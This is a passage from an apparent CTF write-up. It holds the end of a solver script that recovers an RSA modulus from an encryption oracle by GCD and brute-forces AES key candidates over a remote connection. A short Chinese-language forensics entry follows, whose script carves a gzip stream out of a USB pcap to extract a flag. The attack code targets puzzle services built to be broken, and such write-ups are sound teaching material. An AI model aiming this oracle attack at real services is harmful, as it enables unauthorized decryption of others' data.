 66def recover_modulus_via_gcd(oracle: Oracle, pairs: int = 64) -> int:
 67    g = 0
 68    for i in range(pairs):
 69        a = random.getrandbits(128) | 1
 70        b = random.getrandbits(128) | 1
 71        ea = oracle.enc(a)
 72        eb = oracle.enc(b)
 73        eab = oracle.enc(a * b)
 74        v = ea * eb - eab
 75        g = gcd(g, abs(v))
 76        if (i + 1) % 8 == 0:
 77            log.info(f"[gcd] round={i+1}, bits={g.bit_length()}")
 78        if g.bit_length() >= 2000:
 79            break
 80    return g
 81
 82def derive_aes_key_candidates_from_topbits(x: int):
 83    keys = []
 84    for start in (2, 3):
 85        bits = bin(x)[start: start + 256: 2]
 86        if bits == "":
 87            continue
 88        kint = int(bits, 2)
 89        for endian in ("big", "little"):
 90            try:
 91                keys.append(kint.to_bytes(16, endian))
 92            except OverflowError:
 93                pass
 94    return keys
 95
 96def looks_like_flag(pt: bytes) -> bool:
 97    s = pt.decode(errors="ignore")
 98    return ("ENO{" in s) or ("flag{" in s) or ("CTF{" in s) or ("FLAG{" in s)
 99
100def main():
101    random.seed(os.urandom(32))
102    r = remote(HOST, PORT, timeout=8)
103
104    banner = recv_until_any(r, PROMPTS, timeout=6)
105    ciphertext, _ = parse_initial_banner(banner)
106    log.info(f"ciphertext length = {len(ciphertext)} bytes")
107
108    oracle = Oracle(r)
109
110    n = recover_modulus_via_gcd(oracle, pairs=64)
111    log.info(f"Recovered n bits = {n.bit_length()}")
112    if n == 0 or n.bit_length() < 1536:
113        raise RuntimeError("n looked wrong; try reconnecting or increasing pairs.")
114
115    e = 1337
116    for _ in range(8):
117        m = random.getrandbits(64) | 1
118        if pow(m, e, n) != oracle.enc(m):
119            n = gcd(n, recover_modulus_via_gcd(oracle, pairs=16))
120        else:
121            break
122
123    for k in range(1, e):
124        t = (k * n) // e
125        for key in derive_aes_key_candidates_from_topbits(t):
126            try:
127                pt = AES.new(key, AES.MODE_ECB).decrypt(ciphertext)
128            except Exception:
129                continue
130            if looks_like_flag(pt):
131                log.success(f"Found key with k={k}: {key.hex()}")
132                try:
133                    print(pt.decode())
134                except Exception:
135                    print(pt)
136                r.close()
137                return
138
139    log.warning("No flag-like plaintext found. Try reconnecting.")
140    r.close()
141
142if __name__ == "__main__":
143    main()

misc

usbstorage

這題給了一個 pcap 檔案,裡面是 USB 的封包,這題直接交給 GPT 解的,他最後的 script 是在封包檔案裡面發現 gzip 的 header,所以直接把那一個區段拉出來解壓縮,解開之後發現有個 flag.gz 然後再解壓縮就有 flag 了

 1import re, gzip, zlib
 2
 3pcap = open("usbstorage.pcapng","rb").read()
 4
 5m = re.search(b"\x1f\x8b\x08", pcap)
 6assert m, "no gzip found"
 7gz = pcap[m.start():]
 8
 9tar = zlib.decompress(gz, 16+zlib.MAX_WBITS)
10
11name = tar[0:100].split(b'\x00',1)[0].decode()
12size_oct = tar[124:136].strip(b'\x00 ').decode()
13size = int(size_oct, 8)
14payload = tar[512:512+size]
15
16flag = gzip.decompress(payload).decode().strip()
17print(name, flag)